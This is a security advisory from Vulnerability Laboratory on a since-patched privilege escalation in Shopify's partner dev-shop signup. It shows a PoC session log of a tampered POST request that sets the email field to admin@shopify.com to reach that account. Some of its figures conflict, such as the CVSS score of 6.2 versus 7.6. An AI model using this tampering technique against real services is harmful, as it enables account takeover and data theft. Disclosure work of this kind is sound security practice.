Document Title: =============== Shopify - (Applications) Privilege Escalation Vulnerability References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1549 Release Date: ============= 2018-06-14 Vulnerability Laboratory ID (VL-ID): ==================================== 1549 Common Vulnerability Scoring System: ==================================== 7.6 Vulnerability Class: ==================== Privilege Escalation Current Estimated Price: ======================== 5.000€ - 10.000€ Product & Service Introduction: =============================== Shopify is a Canadian commerce company headquartered in Ottawa, Ontario that develops computer software for online stores and retail point-of-sale systems. Shopify was founded in 2004, and was initially based on earlier software written by its founders for their online snowboard store. The company reports that it has 150,000 merchants using its platform, with total gross merchandise volume exceeding $8 billion. (Copy of the Homepage: https://en.wikipedia.org/wiki/Shopify ) Abstract Advisory Information: ============================== The Vulnerability Laboratory Research Team discovered a privilege escalate web vulnerability in the official Shopify online service web-application. Vulnerability Disclosure Timeline: ================================== 2018-06-15: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Shopify Inc. Product: Shopify - Online Service (Web-Application) 2015 Q3 Exploitation Technique: ======================= Remote Severity Level: =============== High Authentication Type: ==================== Restricted Authentication (Guest Privileges) User Interaction: ================= No User Interaction Disclosure Type: ================ Responsible Disclosure Technical Details & Description: ================================ A local privilege escalate web security vulnerability has been discovered in the official Shopify online-service web-application. The issue allows local low privilege application user accounts to compromise the system by an escalate of local account privileges. The security vulnerability is located in the `email` value of the `dev_shops/new` module POST method request. Local low privilege application user accounts are able to intercept the vulnerable email value by tampering the http POST method request. Thus allows attackers to escalate the privileges of an existing account by manipulation of the email value. The attack vector of the issue is server-side and the request method to manipulate is POST. The security risk of the privilege escalate is estimated as high with a cvss (common vulnerability scoring system) count of 6.2. Exploitation of the application-side web vulnerability requires a low privilege web-application user account and no user interaction. Successful exploitation of the vulnerabilities results in account system compromise by unauthorized escalte of service privileges. Request Method(s): [+] POST Vulnerable Module(s): [+] app.shopify.com/services/partners/dev_shops/new Vulnerable Parameter(s): [+] Email Affected Module(s): [+] @shopify.com Proof of Concept (PoC): ======================= The vulnerability can be exploited by remote attackers with low privilege web-application user account and without user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. Note: When users create new shops, they cannot change the login account email, but in case of tampering the http protocol data, it is possible to manipulate the content. In the exploitation process the email used was admin@shopify.com. After the attack our team was able to access the admin@shopify.com account contents and sensitive data. --- PoC Session Logs --- Status: 200[OK] POST https://app.shopify.com/services/partners/dev_shops Mime Type[application/json] Request Headers: Host[app.shopify.com] User-Agent[Mozilla/5.0 (X11; Linux i686; rv:39.0) Gecko/20100101 Firefox/39.0] Accept[text/javascript, text/html, application/xml, text/xml, /] Accept-Language[en-US,en;q=0.5] Accept-Encoding[gzip, deflate] X-NewRelic-ID[VQQUUFNS] X-Requested-With[XMLHttpRequest] X-Prototype-Version[1.7] Content-Type[application/x-www-form-urlencoded; charset=UTF-8] Referer[https://app.shopify.com/services/partners/dev_shops/new] Content-Length[465] Cookie[shopify_s= X-Forwarded-For[8.8.8.8] Connection[keep-alive] Post Data: POST_DATA[utf8=%E2%9C%93&authenticity_token=0BsAcm1aYKeW%2BhuFMkaR4IgQhY5RAsgOx0q6EjCKNSk%3D&signup%5Baddress1%5D=kJKHkjh&signup%5Bzip%5D=16000&signup %5Bcountry%5D=DZ&signup%5Bprovince%5D=&signup%5Bcity%5D=kjhkjh&signup%5Bphone%5D=897897&signup%5Bfirst_name%5D=bb-research&signup%5Blast_name%5D=vulnerability_labs& ref=zero-way&signup%5Bshop_name%5D=test&shop_features=online&signup%5Bemail%5D=admin%40shopify.com&signup%5Bpassword%5D=abcdefghij&signup%5Bpassword_confirmation%5D=abcdefghij] - Response Header Information: Status: 200[OK] Server[nginx] Content-Type[application/json; charset=utf-8] Transfer-Encoding[chunked] Connection[keep-alive] X-Sorting-Hat-PodId[-1] X-Sorting-Hat-PodId-Cached[0] X-Sorting-Hat-ShopId-Cached[0] Vary[Accept-Encoding] x-xss-protection[1; mode=block; report=/xss-report/c79cf53b-6493-493e-a152-852e250363dd?source%5Baction%5D=create&source%5Bcontroller%5D=services%2Fpartners%2Fdevshops&source%5Bsection%5D=services-partners] x-content-type-options[nosniff, nosniff] X-Frame-Options[DENY] X-NewRelic-App-Data[PxQGU0VSDQISSEMhWF9DFAtdWlYQOkwRVRBOC1tdR24cFVgTRQ9WEBdqGAUDFWdAWAsREWseVBQBUEJWQEpTTABSCVoIDwYAB1EJWQhSBldQARtRSFoKAQVSWVIPAw9WXQUCC1BKTlMcQAtSCgwCCwFRDlkDAAQEVgMVPA==] Strict-Transport-Security[max-age=315576000; includeSubdomains] X-Request-Id[c79cf53b-6493-493e-a152-852e250363dd] P3P[CP="NOI DSP COR NID ADMa OPTa OUR NOR"] Content-Encoding[gzip] X-Dc[ash] Reference(s): https://app.shopify.com/services/partners/dev_shops/new Solution - Fix & Patch: ======================= The full impact of the security issue was finally resolved in 2017 Q3-Q4. The disclosure process took about 8 months after the patch was established. Security Risk: ============== The security risk of the privilege escalatate web vulnerability in the shopify module is estimated as high. (CVSS 7.6). Credits & Authors: ================== Vulnerability Laboratory [Core Research Team] - (research@vulnerability-lab.com) [www.vulnerability-lab.com] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability Labs or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for incidental or consequential damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. We have no need for criminal activities or membership requests. We do not publish advisories or vulnerabilities of religious-, militant- and racist- hacker/analyst/researcher groups or individuals. We do not publish trade researcher mails, phone numbers, conversations or anything else to journalists, investigative authorities or private individuals. Domains: www.vulnerability-lab.com - www.vulnerability-db.com - www.evolution-sec.com Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Social: twitter.com/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get an ask permission. Copyright © 2018 | Vulnerability Laboratory - [Evolution Security GmbH]™